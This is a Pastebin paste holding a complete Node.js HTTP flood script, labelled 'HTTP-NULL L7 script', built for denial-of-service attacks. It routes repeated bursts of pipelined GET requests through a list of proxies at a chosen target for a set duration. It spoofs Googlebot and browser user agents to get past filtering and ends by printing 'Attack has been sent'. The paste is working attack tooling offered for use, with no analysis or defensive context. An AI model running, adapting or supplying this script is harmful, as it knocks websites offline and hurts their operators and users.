Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
8,403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.58 KB | None | 0 0
  1. process.on('uncaughtException', function() {});
  2. process.on('unhandledRejection', function() {});
  3. const net = require('net');
  4. const fs = require('fs');
  5. const url = require('url');
  6. var path = require("path");
  7. const execSync = require('child_process').execSync;
  8. try {
  9. var colors = require('colors');
  10. } catch (err) {
  11. console.log('\x1b[36mInstalling\x1b[37m the requirements');
  12. execSync('npm install colors');
  13. console.log('Done.');
  14. process.exit();
  15. }
  16. var fileName = __filename;
  17. var file = path.basename(fileName);
  18. try {
  19. var proxies = fs.readFileSync(process.argv[3], 'utf-8').toString().replace(/\r/g, '').split('\n');
  20. } catch (err) {
  21. if (err.code !== 'ENOENT') throw err;
  22. console.log('\x1b[31m Error\x1b[37m: Proxy list not found.');
  23. console.log("\x1b[36m usage\x1b[37m: node " + file + " <Target> <proxies> <duration>");
  24. process.exit();
  25. }
  26.  
  27. var target = process.argv[2];
  28. var parsed = url.parse(target);
  29.  
  30. setTimeout(() => {
  31. process.exit(1);
  32. }, process.argv[4] * 1000);
  33.  
  34.  
  35. const UAs = [
  36. "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36",
  37. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  38. "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  39. "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)",
  40. "Mozilla/5.0 (Linux; Android 5.0; SM-G920A) AppleWebKit (KHTML, like Gecko) Chrome Mobile Safari (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)",
  41. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36",
  42. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247",
  43. "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko",
  44. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36",
  45. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36",
  46. "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko",
  47. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36",
  48. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36",
  49. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36",
  50. "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
  51. ];
  52.  
  53.  
  54. setInterval(function() {
  55. var proxy = proxies[Math.floor(Math.random() * proxies.length)];
  56. proxy = proxy.split(':');
  57. var socket = net.connect(proxy[1], proxy[0]);
  58. socket.setKeepAlive(true, 5000)
  59. socket.setTimeout(5000);
  60. socket.once('error', err => {
  61. // console.log('Error : ' + proxy[0] + ":" + proxy[1]);
  62. });
  63. socket.once('disconnect', () => {
  64. console.log('Disconnect');
  65. });
  66. socket.once('data', data => {
  67. // console.log('Connected : ' + proxy[0] + ":" + proxy[1]);
  68. });
  69. for (let j = 0; j < 15; j++) {
  70. socket.write('GET ' + target + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nuser-agent: ' + UAs[Math.floor(Math.random() * UAs.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n');
  71. socket.write('GET ' + target + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nuser-agent: ' + UAs[Math.floor(Math.random() * UAs.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n');
  72. }
  73. socket.on('data', function() {
  74. setTimeout(function() {
  75. socket.destroy();
  76. return delete socket;
  77. }, 5000);
  78. })
  79. }, 5);
  80.  
  81. if (!process.argv[4]) {
  82. console.log("\x1b[31m Error\x1b[37m: provide time duration");
  83. console.log("\x1b[36m usage\x1b[37m: node " + file + " <Target> <proxies> <duration>");
  84. process.exit();
  85. }
  86.  
  87. if (isNaN(process.argv[4])) {
  88. console.log("\x1b[31m Error\x1b[37m: enter valid time duration");
  89. console.log("\x1b[36m usage\x1b[37m: node " + file + " <Target> <proxies> <duration>");
  90. process.exit();
  91. }
  92.  
  93. if (!process.argv[2] !== !process.argv[2].startsWith('http://') && !process.argv[2].startsWith('https://')) {
  94. console.log("\x1b[31m Error\x1b[37m: enter valid target");
  95. console.log("\x1b[36m usage\x1b[37m: node " + file + " <Target> <proxies> <duration>");
  96. process.exit();
  97. }
  98.  
  99. console.log("HTTP-NULL".rainbow + " L7 script");
  100. console.log('\x1b[36mLoading\x1b[37m proxy list : %s', process.argv[3]);
  101. console.log("\x1b[36mAttempting\x1b[37m to get : %s || " + "\x1b[35m" + parsed.host + "\x1b[37m", process.argv[2]);
  102. console.log("Attack has been sent for %s seconds", process.argv[4]);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement